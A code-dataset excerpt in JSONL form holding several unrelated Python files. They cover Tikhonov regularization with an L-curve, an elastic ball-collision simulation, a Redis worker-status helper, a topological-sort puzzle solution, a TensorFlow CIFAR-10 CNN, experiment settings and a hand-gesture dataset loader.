Parameters\n ----------\n A : numpy ndarray\n sensing matrix (Nm x Nu). Nm are the number of measurements\n and Nu the number of unknowns\n Returns\n -------\n u : numpy ndarray\n left singular vectors\n sig : numpy 1darray\n singular values\n v : numpy ndarray\n right singular vectors\n \"\"\"\n Nm, Nu = A.shape\n if Nm >= Nu: # more measurements than unknowns\n u, sig, v = np.linalg.svd(A, full_matrices=False)\n else:\n v, sig, u = np.linalg.svd(np.conjugate(A.T), full_matrices=False)\n return u, sig, v\n\ndef l_cuve(u, sig, bm, plotit = False):\n \"\"\" Find the optimal regularizatin parameter.\n\n This function uses the L-curve and computes its curvature in\n order to find its corner - optimal regularization parameter.\n\n Uses the function \"l_corner\"\n\n Parameters\n ----------\n u : numpy ndarray\n left singular vectors\n sig : numpy 1darray\n singular values\n bm: numpy 1darray\n your measurement vector (size: Nm x 1)\n plotit : bool\n whether to plot the L curve or not. Default is False\n Returns\n -------\n lam_opt : float\n optimal regularization parameter\n \"\"\"\n # Set defaults.\n npoints = 200 # Number of points on the L-curve\n smin_ratio = 16*np.finfo(float).eps # Smallest regularization parameter.\n # Initialization.\n Nm, Nu = u.shape\n p = sig.shape\n beta = np.conjugate(u) @ bm\n beta2 = np.linalg.norm(bm) ** 2 - np.linalg.norm(beta)**2\n s = sig\n beta = np.reshape(beta[0:int(p[0])], beta.shape[0])\n xi = np.divide(beta[0:int(p[0])],s)\n xi[np.isinf(xi)] = 0\n\n eta = np.zeros((npoints,1))\n rho = np.zeros((npoints,1)) #eta\n reg_param = np.zeros((npoints,1))\n s2 = s ** 2\n reg_param[-1] = np.amax([s[-1], s[0]*smin_ratio])\n ratio = (s[0]/reg_param[-1]) ** (1/(npoints-1))\n for i in np.arange(start=npoints-2, step=-1, stop = -1):\n reg_param[i] = ratio*reg_param[i+1]\n for i in np.arange(start=0, step=1, stop = npoints):\n f = s2 / (s2 + reg_param[i] ** 2)\n eta[i] = np.linalg.norm(f * xi)\n rho[i] = np.linalg.norm((1-f) * beta[:int(p[0])])\n if (Nm > Nu and beta2 > 0):\n rho = np.sqrt(rho ** 2 + beta2)\n # Compute the corner of the L-curve (optimal regularization parameter)\n lam_opt = l_corner(rho,eta,reg_param,u,sig,bm)\n # want to plot the L curve?\n if plotit:\n fig = plt.figure()\n fig.canvas.set_window_title(\"L-curve\")\n plt.loglog(rho, eta, label='Reg. par: ' + \"%.6f\" % lam_opt)\n plt.xlabel(r'Residual norm $||Ax - b||_2$')\n plt.ylabel(r'Solution norm $||x||_2$')\n plt.legend(loc = 'best')\n plt.grid(linestyle = '--', which='both')\n plt.tight_layout()\n return lam_opt\n\ndef tikhonov(u,s,v,b,lambd_value):\n \"\"\" Tikhonov regularization. Needs some work\n\n Computes the Tikhonov regularized solution x_lambda, given the SVD or\n GSVD as computed via csvd or cgsvd, respectively. The SVD is used,\n i.e. if U, s, and V are specified, then standard-form regularization\n is applied:\n min { || A x - b ||^2 + lambda^2 || x - x_0 ||^2 } .\n Valid for underdetermined systems.\n Based on the matlab routine by: Per Christian Hansen, DTU Compute, April 14, 2003.\n Reference: A. N. Tikhonov & V. Y. Arsenin, \"Solutions of Ill-Posed\n Problems\", Wiley, 1977.\n\n Parameters\n ----------\n u : numpy ndarray\n left singular vectors\n sig : numpy 1darray\n singular values\n v : numpy ndarray\n right singular vectors\n bm: numpy 1darray\n your measurement vector (size: Nm x 1)\n lam_opt : float\n optimal regularization parameter\n Returns\n -------\n x_lambda : numpy 1darray\n estimated solution to inverse problem\n \"\"\"\n # warn that lambda should be bigger than 0\n if lambd_value < 0:\n warnings.warn(\"Illegal regularization parameter lambda. I'll set it to 1.0\")\n lambd_value = 1.0\n # m = u.shape[0]\n # n = v.shape[0]\n p = len(s)\n # ps = 1\n beta = np.conjugate(u[:,0:p]).T @ b\n zeta = s * beta\n # ll = length(lambda); x_lambda = zeros(n,ll);\n # rho = zeros(ll,1); eta = zeros(ll,1);\n # The standard-form case.\n x_lambda = v[:,0:p] @ np.divide(zeta, s**2 + lambd_value**2)\n \n # because csvd takes the hermitian of h_mtx and only the first m collumns of v\n # phi_factors = (s**2)/(s**2+lambd_value**2)\n # x = (v @ np.diag(phi_factors/s) @ np.conjugate(u)) @ b\n # beta_try = np.conjugate(u) @ b\n # zeta_try = s*beta_try\n # x_try = v @ np.divide(zeta_try, s**2 + lambd_value**2) #np.diag(s/(s**2+lambd_value**2)) @ beta_try\n return x_lambda\n\n\n# np.random.seed(0)\n# H = np.random.randn(7, 10)\n# p = np.random.randn(7)\n# u, sig, v = csvd(H)\n# lambd_value = l_cuve(u, sig, p, plotit=False)\n# tikhonov(u, sig, v, p, lambd_value)\n# H = np.array([[1, 7, 10],[2.3, 5.4, 13.2]])\n# p = np.array([1.4, 8.54])\n# u, sig, v = csvd(H)\n# x_lambda = tikhonov(u, sig, v, p, 0.3)\n# print(x_lambda)\n\n ","sub_path":"insitu/lcurve_functions.py","file_name":"lcurve_functions.py","file_ext":"py","file_size_in_byte":10612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176954407","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 10 19:34:00 2017\r\n\r\n@author: clara\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\nfrom numpy import linalg as LA\r\nimport math\r\n\r\n \r\nclass Ball:\r\n \r\n \"\"\"\r\n This class creates a ball, with a specific position and velocity. \r\n The mass, radius and color can also be decided.\r\n \"\"\"\r\n K_b=1.38 #defines the Boltzmann constant\r\n \r\n def __init__(self,r=[0.0,0.0], v=[0.0,0.0],mass=16, rad=0.5,clr='r' ):\r\n self.__r=np.array(r, dtype='float') \r\n self.v=np.array(v, dtype='float')\r\n self.radius=rad\r\n self.mass=mass\r\n self.__patch = plt.Circle(self.__r, self.radius, fc=clr)\r\n \r\n \r\n def pos(self):\r\n \"\"\"Returns the position of the ball\"\"\"\r\n return self.__r\r\n \r\n def vel(self):\r\n \"\"\"Returns the velocity of the ball\"\"\"\r\n return self.v\r\n \r\n def move(self,dt):\r\n \"\"\"Moves the ball by a time step dt\"\"\"\r\n self.__r= self.__r+(self.v *dt)\r\n self.__patch.center = self.__r\r\n return self.__r\r\n \r\n def time_to_collision(self, other):\r\n \"\"\"Solves the quadratic equation for the time to the next collision\"\"\"\r\n R= (self.__r-other.__r)\r\n V= (self.v-other.v)\r\n RA= self.radius+other.radius #This is for collision with another ball\r\n a_term= 2*np.dot(R,V)\r\n b_term= (((a_term)**2)-4*(LA.norm(R)**2-RA**2)*(LA.norm(V)**2)) \r\n dt1=(-a_term+np.sqrt(b_term))/(2*(LA.norm(V)**2))\r\n dt2=(-a_term-np.sqrt(b_term))/(2*(LA.norm(V)**2))\r\n if dt1<=5e-10 or dt1!=dt1: \r\n newdt1=np.inf \r\n else:\r\n newdt1=dt1\r\n if dt2<=5e-10 or dt2!=dt2:\r\n newdt2=np.inf\r\n else:\r\n newdt2=dt2 #this removes unwanted solutions, and the nan case.\r\n return np.amin(np.array([newdt1,newdt2]))\r\n\r\n def collide(self,other):#takes the other ball as argument\r\n \"\"\"By converting to the center of mass frame, changes the speed of the balls\"\"\"\r\n reduced_mass= (self.mass - other.mass)/(self.mass +other.mass)\r\n bigger_mass=2/(self.mass+other.mass)\r\n \r\n R=self.__r-other.__r\r\n R_mag= (np.dot(R,R))**0.5 #magnitude of R\r\n R_hat= R/R_mag\r\n \r\n parallel_v1= np.dot(self.v,R_hat)*R_hat\r\n perpendicular_v1=self.v-parallel_v1\r\n \r\n parallel_v2= np.dot(other.v,R_hat)*R_hat\r\n perpendicular_v2=other.v-parallel_v2\r\n \r\n new_parallel_v1= reduced_mass*parallel_v1+(other.mass *bigger_mass*parallel_v2) \r\n new_parallel_v2=(self.mass*bigger_mass*parallel_v1)- (reduced_mass*parallel_v2)\r\n \r\n \r\n if other.mass==np.inf: #special case of the container\r\n new_parallel_v1=-parallel_v1\r\n new_parallel_v2=0\r\n mom_2_initial=0.0\r\n mom_2_final=0.0\r\n KE_2_initial=0\r\n \r\n \r\n \r\n #update speeds\r\n new_v1= new_parallel_v1+perpendicular_v1\r\n new_v2= new_parallel_v2+perpendicular_v2\r\n \r\n #momentum conservation check\r\n mom_1_initial=self.mass*self.v\r\n mom_2_initial=other.mass*other.v\r\n mom_initial= LA.norm(mom_1_initial+mom_2_initial)\r\n \r\n mom_1_final=self.mass*new_v1\r\n mom_2_final=other.mass*new_v2\r\n mom_final=LA.norm(mom_1_final+mom_2_final)\r\n \r\n if other.mass==np.inf:\r\n mom_initial=LA.norm(mom_1_initial)\r\n mom_final= LA.norm(mom_1_final)\r\n \r\n \r\n \r\n if np.abs(1-((mom_final)/(LA.norm(mom_initial))))>0.01: #conservation laws\r\n print ('No violation of conservation of momentum hypothesis rejected to 1%')\r\n \r\n #KE conservation check\r\n KE_1_initial=self.mass*0.5*(LA.norm(self.v)**2)\r\n KE_2_initial=other.mass*0.5*(LA.norm(other.v)**2) \r\n \r\n KE_1_final=self.mass*0.5*(LA.norm(new_v1)**2)\r\n KE_2_final=other.mass*0.5*(LA.norm(new_v2)**2)\r\n \r\n if other.mass==np.inf:\r\n KE_2_initial=0\r\n KE_2_final=0\r\n \r\n if np.abs(1-((KE_1_initial+KE_2_initial)/(KE_1_final+KE_2_final)))>0.01: \r\n print ('No violation of conservation of energy hypothesis rejected at 1%')\r\n \r\n self.v=new_v1\r\n other.v=new_v2\r\n \r\n return self.v, other.v\r\n \r\n \r\n def time_to_container(self,container_radius): \r\n \"\"\"Solves the quadratic equation for the case of the container\"\"\"\r\n \r\n R= (self.__r)\r\n V= (self.v)\r\n RA= container_radius-self.radius \r\n a_term= 2*np.dot(R,V)\r\n b_term= (((a_term)**2)-4*(LA.norm(R)**2-RA**2)*(LA.norm(V)**2))\r\n dt1=(-a_term+np.sqrt(b_term))/(2*(LA.norm(V)**2))\r\n dt2=(-a_term-np.sqrt(b_term))/(2*(LA.norm(V)**2))\r\n if dt1<=5e-10 or dt1!=dt1:\r\n newdt1=np.inf\r\n else:\r\n newdt1=dt1\r\n if dt2<=5e-10 or dt2 !=dt2: #removes nan\r\n newdt2=np.inf\r\n else:\r\n newdt2=dt2 #ignores the negative solutions to allow us to find smallest dt\r\n \r\n return np.amin(np.array([newdt1,newdt2])) \r\n \r\n def get_patch(self):\r\n \"\"\"Used to access the hidden attribute patch\"\"\"\r\n return self.__patch\r\n \r\n \r\n def __repr__(self):\r\n \"\"\"Ball representation\"\"\"\r\n return \"A ball with (r=array[%g,%g], v=array[%g,%g], mass = %g, radius= %g)\"%(self.pos()[0], self.pos()[1],self.v[0],self.v[1], self.mass,self.radius) \r\n\r\n def __str__(self):\r\n return \"%g,%g,%g,%g,%g,%g\" %(self.pos()[0], self.pos()[1],self.v[0],self.v[1], self.mass,self.radius)\r\n ","sub_path":"Ball.py","file_name":"Ball.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"129522866","text":"#!/usr/bin/env python\n\nimport os\ntry:\n # Try using ujson as replacement for json\n import ujson as json\nexcept:\n # Fallback to standard json package\n import json\nimport redis\nimport uuid\nimport platform\n\n\nclass Worker(object):\n def __init__(self, key=None, config=None, expire=300):\n self.config = {\n 'host': 'localhost',\n 'port': 6379,\n 'db': 0,\n 'password': None,\n }\n if config is not None:\n self.config.update(config)\n\n self.rdb = None\n self.expire = expire\n self.connected = False\n self.registered = False\n if key is None:\n self.key = \"reworker-{}:{}:{}\".format(platform.node(), os.getpid(), str(uuid.uuid4().hex))\n else:\n self.key = \"reworker-{}\".format(key)\n self.connect()\n\n def list(self):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n try:\n return [Worker(key=name[9:].decode(), config=self.config) for name in self.rdb.keys(\"reworker-*\")]\n except redis.exceptions.ConnectionError as err:\n raise ConnectionError(str(err))\n\n def connect(self):\n config = self.config\n self.rdb = redis.Redis(config['host'], config['port'], config['db'], config['password'])\n try:\n info = self.rdb.info()\n self.connected = True\n except redis.ConnectionError:\n return False\n return True\n\n def register(self):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n self.rdb.set(self.key, \"{}\")\n if self.expire > 0:\n self.rdb.expire(self.key, self.expire)\n self.registered = True\n return True\n\n def unregister(self):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n if not self.registered:\n raise ConnectionError('Worker is not registered')\n self.rdb.delete(self.key, \"{}\")\n return True\n\n def set_status(self, **kwargs):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n if not self.registered:\n raise ConnectionError('Worker is not registered')\n status = json.dumps(kwargs)\n self.rdb.set(self.key, status)\n if self.expire > 0:\n self.rdb.expire(self.key, self.expire)\n return True\n\n def get_status(self):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n status = self.rdb.get(self.key)\n return json.loads(status)\n\n def get_ttl(self):\n if not self.connected:\n raise ConnectionError('Worker is not connected')\n return self.rdb.ttl(self.key)\n","sub_path":"reworker/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"90296483","text":"import heapq \r\n\r\nn = int(input())\r\n\r\n#각 노드에 연결된 간선 정보를 담기 위한 연결리스트\r\ngraph = [ [] for _ in range(n+1) ]\r\noutdegree = [0]*(n+1)\r\nresult = [0]*(n+1)\r\n\r\nfor i in range(1,n+1):\r\n infos = list(map(int,input()))\r\n\r\n for idx, val in enumerate(infos):\r\n if val == 1:\r\n graph[idx + 1].append(i)\r\n outdegree[i] += 1\r\n\r\ndef topology_sort(n):\r\n #큐에 여러노드가 있을 경우 인덱스가 큰 노드를 먼저 큐에서 빼내야함\r\n #답이 여러개 일 경우 사전 순으로 제일 앞서는 것 출력\r\n heap = []\r\n\r\n for i in range(1, n+1):\r\n if outdegree[i] == 0:\r\n heapq.heappush(heap, -i)\r\n \r\n while heap:\r\n # 인덱스가 가장 큰 노드를 꺼내고\r\n #해당 노드와 연결된 노드들의 차수를 뺀다\r\n #큐에서 빼낸 노드번호를 인덱스로 result리스트에 저장\r\n now = -heapq.heappop(heap)\r\n result[now] = n\r\n\r\n for adj in graph[now]:\r\n outdegree[adj] -= 1\r\n if outdegree[adj] == 0:\r\n heapq.heappush(heap, -adj)\r\n \r\n n -= 1\r\n\r\ntopology_sort(n)\r\n\r\n#그래프 번호를 수정할 수 없는 노드가 2개 이상이라면 -1\r\n#사이클이 돌려면 최소 3개의 노드가 서로 가리키고 있어야하는데\r\n#그러면 2개 이상의 노드는 진출 차수가 0이 될 수 없다.\r\n\r\nif result.count(0) > 2:\r\n print(-1)\r\nelse:\r\n print(' '.join(map(str,result[1:])))\r\n \r\n\r\n\r\n","sub_path":"백준/Platinum/1432. 그래프 수정/그래프 수정.py","file_name":"그래프 수정.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"525259667","text":"# 즉시 실행 모드\nfrom tensorflow.python.framework.ops import disable_eager_execution\nimport tensorflow as tf\n\nprint(tf.executing_eagerly()) # False\n\ntf.compat.v1.disable_eager_execution() # tensorflow2에서 tensorflow1 코딩을 가능하게 만듬\nprint(tf.executing_eagerly()) # False\n\nprint(tf.__version__) # 2.3.1\n\nimport numpy as np\ntf.compat.v1.set_random_seed(66)\n\n# 1. 데이터\nfrom tensorflow.keras.datasets import cifar10\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\nfrom tensorflow.keras.utils import to_categorical\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\nx_train = x_train.reshape(50000, 32, 32, 3).astype('float32')/255\nx_test = x_test.reshape(10000, 32, 32, 3).astype('float32')/255\n\nlearning_rate = 0.001\ntraining_epochs = 30\nbatch_size = 100\ntotal_batch = int(len(x_train)/batch_size) # 60000 / 100\n\nx = tf.compat.v1.placeholder(tf.float32,[None, 32, 32, 3])\ny = tf.compat.v1.placeholder(tf.float32,[None, 10])\n\n# 2. 모델 구성\n\n# L1.\nw1 = tf.compat.v1.get_variable('w1', shape=[3, 3, 3, 32]) # (kernel_size, channel, filter(output))\nL1 = tf.nn.conv2d(x, w1, strides=[1,1,1,1], padding='SAME') # stiride를 (2,2)로 주려면 [1,2,2,1]\nL1 = tf.compat.v1.layers.batch_normalization(L1)\n# L1 = tf.compat.v1.layers.BatchNormalization(L1)\n\nprint(L1) # Tensor(\"Conv2D:0\", shape=(?, 28, 28, 32), dtype=float32)\n# Conv2D(filter, kernel_size, input_shape) Summary\n# Conv2D(10, (3,2), input_shape=(7,7,1)) -> (kernel_size*channel(color, input_dim) + bias)*filter(output) -> 70\n# 다음 레이어로 갈때 (28,28,32)로 간다 -> padding='SAME'이고 output 32가 channel자리로 간다.\n# conv2d 안에 bias 포함되어 있음.\nL1 = tf.nn.selu(L1)\nL1 = tf.nn.max_pool(L1, ksize=[1,2,2,1], strides=[1,2,2,1,],padding='SAME')\nprint(L1) # Tensor(\"MaxPool:0\", shape=(?, 14, 14, 32), dtype=float32)\n# L2.\n\nw2 = tf.compat.v1.get_variable('w2', shape=[3, 3, 32, 64])\nL2 = tf.nn.conv2d(L1, w2, strides=[1,1,1,1], padding='SAME')\nprint(L2) # Tensor(\"Conv2D_1:0\", shape=(?, 14, 14, 64), dtype=float32)\nL2 = tf.compat.v1.layers.batch_normalization(L2)\n# L2 = tf.compat.v1.layers.BatchNormalization(L2)\nL2 = tf.nn.elu(L2)\nL2 = tf.nn.max_pool(L2, ksize=[1,2,2,1], strides=[1,2,2,1,],padding='SAME')\nprint(L2) # Tensor(\"MaxPool_1:0\", shape=(?, 7, 7, 64), dtype=float32)\n\n# L3.\nw3 = tf.compat.v1.get_variable('w3', shape=[3, 3, 64, 128])\nL3 = tf.nn.conv2d(L2, w3, strides=[1,1,1,1], padding='SAME')\nprint(L3) # Tensor(\"Conv2D_2:0\", shape=(?, 7, 7, 128), dtype=float32)\nL3 = tf.compat.v1.layers.batch_normalization(L3)\n# L3 = tf.compat.v1.layers.BatchNormalization(L3)\nL3 = tf.nn.relu(L3)\nL3 = tf.nn.max_pool(L3, ksize=[1,2,2,1], strides=[1,2,2,1,],padding='SAME')\nprint(L3) # Tensor(\"MaxPool_2:0\", shape=(?, 4, 4, 128), dtype=float32)\n\n# L4.\nw4 = tf.compat.v1.get_variable('w4', shape=[3, 3, 128, 64])\nL4 = tf.nn.conv2d(L3, w4, strides=[1,1,1,1], padding='SAME')\nL4 = tf.compat.v1.layers.batch_normalization(L4)\n# L4 = tf.compat.v1.layers.BatchNormalization(L4)\nprint(L4) # Tensor(\"Conv2D_3:0\", shape=(?, 4, 4, 64), dtype=float32)\nL4 = tf.nn.selu(L4)\nL4 = tf.nn.max_pool(L4, ksize=[1,2,2,1], strides=[1,2,2,1,],padding='SAME')\nprint(L4) # Tensor(\"MaxPool_3:0\", shape=(?, 2, 2, 64), dtype=float32)\n\n# Flatten\nL_flat = tf.reshape(L4, [-1,2*2*64])\nprint(L_flat) # Tensor(\"Reshape:0\", shape=(?, 256), dtype=float32)\n\n# L5.\nw5 = tf.compat.v1.get_variable('w5', shape=[2*2*64, 64], initializer=tf.compat.v1.initializers.he_normal())\nb5 = tf.compat.v1.Variable(tf.random.normal([64]), name='b1')\nL5 = tf.nn.selu(tf.matmul(L_flat, w5) + b5)\nL5 = tf.nn.dropout(L5, rate=0.2)\nprint(L5) # Tensor(\"dropout/mul_1:0\", shape=(?, 64), dtype=float32)\n\n# L6.\nw6 = tf.compat.v1.get_variable('w6', shape=[64, 32], initializer=tf.compat.v1.initializers.he_normal())\nb6 = tf.compat.v1.Variable(tf.random.normal([32]), name='b2')\nL6 = tf.nn.selu(tf.matmul(L5, w6) + b6)\nprint(L6) # Tensor(\"dropout/mul_1:0\", shape=(?, 64), dtype=float32)\n\n# L7.\nw7 = tf.compat.v1.get_variable('w7', shape=[32, 10], initializer=tf.compat.v1.initializers.he_normal())\nb7 = tf.compat.v1.Variable(tf.random.normal([10]), name='b3')\nhypothesis = tf.nn.softmax(tf.matmul(L6, w7) + b7)\nprint(hypothesis) # Tensor(\"Softmax:0\", shape=(?, 10), dtype=float32)\n\n# 3. 컴파일, 훈련\nloss = tf.reduce_mean(-tf.reduce_sum(y*tf.math.log(hypothesis), axis=1)) # categorical_crossentropy\noptimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=0.0001).minimize(loss)\n\n# 훈련\nsess = tf.compat.v1.Session()\nsess.run(tf.compat.v1.global_variables_initializer())\n\nfor epoch in range(training_epochs):\n avg_cost = 0\n\n for i in range(total_batch): # 600번 돈다\n start = i * batch_size\n end = start + batch_size\n\n batch_x, batch_y = x_train[start:end], y_train[start:end]\n feed_dict = {x:batch_x, y:batch_y}\n c, _ = sess.run([loss, optimizer], feed_dict=feed_dict)\n avg_cost += c/total_batch\n print('Epoch :', '%04d'%(epoch + 1), 'cost = {:.9f}'.format(avg_cost))\nprint('훈련 끗!!!')\n\nprediction = tf.equal(tf.math.argmax(hypothesis,1), tf.math.argmax(y,1))\naccuracy = tf.reduce_mean(tf.cast(prediction, dtype=tf.float32))\n\nprint('Acc :', sess.run(accuracy, feed_dict={x:x_test, y:y_test}))\n\n# Epoch : 0015 cost = 0.442068111\n# Acc : 0.7015 -> adam(0.0003)\n\n# Epoch : 0030 cost = 0.151768006\n# Acc : 0.6916 -> adam(0.0003)\n\n# Epoch : 0030 cost = 0.532191409\n# Acc : 0.7013 -> adam(0.0001)\n","sub_path":"tf114/tf18_cnn_cifar10.py","file_name":"tf18_cnn_cifar10.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"485125841","text":"import time\n\nfrom Algorithms.Constraints.better_treatment_constraint import Constraint\nfrom Algorithms.constrained_greedy import ConstrainedGreedy\nfrom Algorithms.Approximators.statistical_approximator import StatisticalApproximator\nfrom Algorithms.Constraints.true_constraint import TrueConstraint\nfrom DataGenerator.data_generator import split_patients, generate_data, generate_test_data\nfrom DataGenerator.distributions import DiscreteDistributionWithSmoothOutcomes\n\n\ndef setup_data_sets(n_z, n_x, n_a, n_y, n_training_samples, n_test_samples, seed):\n start = time.time()\n print(\"Generating training and test data\")\n dist = DiscreteDistributionWithSmoothOutcomes(n_z, n_x, n_a, n_y, seed=seed)\n training_data = split_patients(generate_data(dist, n_training_samples))\n test_data = generate_test_data(dist, n_test_samples)\n print(\"Generating data took {:.3f} seconds\".format(time.time() - start))\n return dist, training_data, test_data\n\n\ndef setup_algorithms(training_data, dist, delta):\n start = time.time()\n n_x = dist.n_x\n n_a = dist.n_a\n n_y = dist.n_y\n statistical_approximation_prior = StatisticalApproximator(n_x, n_a, n_y, training_data, smoothing_mode='gaussian')\n\n constraint_upper = Constraint(training_data, n_a, n_y, approximator=statistical_approximation_prior, delta=delta, bound='upper')\n constraint_lower = Constraint(training_data, n_a, n_y, approximator=statistical_approximation_prior, delta=delta, bound='lower')\n constraint_exact = TrueConstraint(dist, approximator=statistical_approximation_prior, delta=delta)\n\n algorithms = [\n #ConstrainedDynamicProgramming(n_x, n_a, n_y, training_data, constraint_upper, statistical_approximation_prior, name=\"Dynamic Programming Upper Bound\", label=\"CDP_U\"),\n #ConstrainedDynamicProgramming(n_x, n_a, n_y, training_data, constraint_lower, statistical_approximation_prior, name=\"Dynamic Programming Lower bound\", label=\"CDP_L\"),\n #ConstrainedDynamicProgramming(n_x, n_a, n_y, training_data, constraint_exact, statistical_approximation_prior, name=\"Dynamic Programming Exact Bound\", label=\"CDP_E\"),\n ConstrainedGreedy(n_x, n_a, n_y, training_data, constraint_upper, statistical_approximation_prior, name=\"Greedy Upper Bound\", label=\"CG_U\"),\n ConstrainedGreedy(n_x, n_a, n_y, training_data, constraint_lower, statistical_approximation_prior, name=\"Greedy Lower Bound\", label=\"CG_L\"),\n ConstrainedGreedy(n_x, n_a, n_y, training_data, constraint_exact, statistical_approximation_prior, name=\"Greedy Exact Bound\", label=\"CG_E\"),\n ]\n\n print(\"Setting up algorithms took {:.3f} seconds\".format(time.time() - start))\n return algorithms\n\n\ndef load_settings():\n starting_seed = 90821\n n_data_sets = 10\n n_deltas = 40\n n_z = 2\n n_x = 1\n n_a = 5\n n_y = 3\n n_training_samples = 15000\n n_test_samples = 3000\n file_name_prefix = \"GBounds_15ksamples_\"\n\n return starting_seed, n_data_sets, n_deltas, n_z, n_x, n_a, n_y, n_training_samples, n_test_samples, file_name_prefix","sub_path":"Main/SingleEvaluations/Settings/GBoundsSettings.py","file_name":"GBoundsSettings.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"369220909","text":"from __future__ import print_function\r\nimport torch.utils.data as data\r\nfrom PIL import Image\r\nimport os\r\nimport os.path\r\nimport errno\r\nimport numpy as np\r\nimport torch\r\nimport codecs\r\nimport random\r\nfrom path import Path\r\nfrom scipy.misc import imread, imresize\r\nimport scipy.io as sio\r\nimport cv2\r\nimport csv\r\n\r\nJESTER_CLASSES = ('hand')\r\nJESTER_ROOT = '/Data/Jester-v1'\r\n# file_csv = 'jester-v1-test.csv'\r\n\r\nclass JESTER(data.Dataset):\r\n \"\"\"`LISA_DRIVER_DATASET `_ Dataset.\r\n\r\n Args:\r\n root (string): Root directory of dataset\r\n train (bool, optional): If True, creates dataset from ``training.pt``,\r\n otherwise from ``test.pt``.\r\n download (bool, optional): If true, downloads the dataset from the internet and\r\n puts it in root directory. If dataset is already downloaded, it is not\r\n downloaded again.\r\n transform (callable, optional): A function/transform that takes in an PIL image\r\n and returns a transformed version. E.g, ``transforms.RandomCrop``\r\n target_transform (callable, optional): A function/transform that takes in the\r\n target and transforms it.\r\n \"\"\"\r\n \r\n training_file = 'jester-v1-test.csv'\r\n test_file = 'jester-v1-test.csv'\r\n \r\n def __init__(self, root, train=True, transform=None, target_transform='scale', download=False, vis=False):\r\n self.root = os.path.expanduser(root)\r\n self.transform = transform\r\n self.target_transform = target_transform\r\n self.train = train # training set or test set\r\n self.vis = vis\r\n self.name = 'LISA'\r\n if self.train:\r\n self.train_root = (Path(self.root) / self.training_file / 'pos')\r\n self.train_samples = self.collect_samples(self.train_root, self.training_file)\r\n else:\r\n self.test_root = (Path(self.root) / self.test_file) # Jester_pos pos RHD_pos ZJU_pos\r\n self.test_samples = self.collect_samples(self.test_root, self.test_file)\r\n\r\n \r\n def collect_samples(self, root, file):\r\n samples = []\r\n dirs = read_csv(root)\r\n \r\n imgs = sorted(root.glob('*.png'))\r\n imgs += sorted(root.glob('*.jpg'))\r\n for img in imgs:\r\n _img = img.basename().split('.')[0]\r\n label = (Path(self.root) / file / 'posGt' / _img + '.txt')\r\n if self.train:\r\n if not label.exists():\r\n continue\r\n assert label.exists()\r\n sample = {'img': img, 'label': label}\r\n samples.append(sample)\r\n return samples\r\n \r\n def load_samples(self, s):\r\n image = cv2.imread(s['img'])\r\n try:\r\n target = list()\r\n if not s['label'].exists():\r\n target = [[0, 0, 0, 0, 0]]\r\n print('{}.png has no gt {}'.format(s['img'].namebase, s['label']))\r\n \r\n # assert s['label'].exists()\r\n else:\r\n with open(s['label']) as f:\r\n label = f.readlines()\r\n num_objs = len(label) - 1\r\n for i, obj in enumerate(label[1:]):\r\n obj = obj.split(' ')\r\n x, y, h, w = map(int, [obj[1], obj[2], obj[3], obj[4]])\r\n target.append([x, y, x + h, y + w, 0])\r\n # target:# [xmin, ymin, xmax, ymax, label_idx]\r\n except:\r\n print('error {}'.format(s))\r\n \r\n return [image, target]\r\n \r\n def __getitem__(self, index):\r\n \"\"\"\r\n Args:\r\n index (int): Index\r\n\r\n Returns:\r\n tuple: (image, target) where target is index of the target class.\r\n \"\"\"\r\n img, target, h, w, image_ori = self.pull_item(index)\r\n return img, target\r\n \r\n def __len__(self):\r\n if self.train:\r\n return len(self.train_samples)\r\n else:\r\n return len(self.test_samples)\r\n \r\n def target_scale(self, target, h, w):\r\n target_trans = []\r\n scale = np.array([h, w, h, w])\r\n for i, label in enumerate(target):\r\n box = list(np.array(label[:4]) / scale)\r\n box.append(label[4])\r\n target_trans.append(box)\r\n return target_trans\r\n \r\n def pull_item(self, index):\r\n if self.train:\r\n s = self.train_samples[index]\r\n else:\r\n s = self.test_samples[index]\r\n \r\n image, target = self.load_samples(s)\r\n # doing this so that it is consistent with all other datasets\r\n w, h, _ = image.shape\r\n target = self.target_scale(target, h, w)\r\n \r\n # target = Image.fromarray(np.array(image))\r\n # h, w = img.size[0], img.size[1]\r\n if self.transform is not None:\r\n target = np.array(target)\r\n img, boxes, labels = self.transform(image, target[:, :4], target[:, 4])\r\n img = img[:, :, (2, 1, 0)]\r\n target = np.hstack((boxes, np.expand_dims(labels, axis=1)))\r\n \r\n return torch.from_numpy(img).permute(2, 0, 1), target, h, w, image\r\n \r\n def __repr__(self):\r\n fmt_str = 'Dataset ' + self.__class__.__name__ + '\\n'\r\n fmt_str += ' Number of datapoints: {}\\n'.format(self.__len__())\r\n tmp = 'train' if self.train is True else 'test'\r\n fmt_str += ' Split: {}\\n'.format(tmp)\r\n fmt_str += ' Root Location: {}\\n'.format(self.root)\r\n tmp = ' Transforms (if any): '\r\n fmt_str += '{0}{1}\\n'.format(tmp, self.transform.__repr__().replace('\\n', '\\n' + ' ' * len(tmp)))\r\n tmp = ' Target Transforms (if any): '\r\n fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\\n', '\\n' + ' ' * len(tmp)))\r\n return fmt_str\r\n 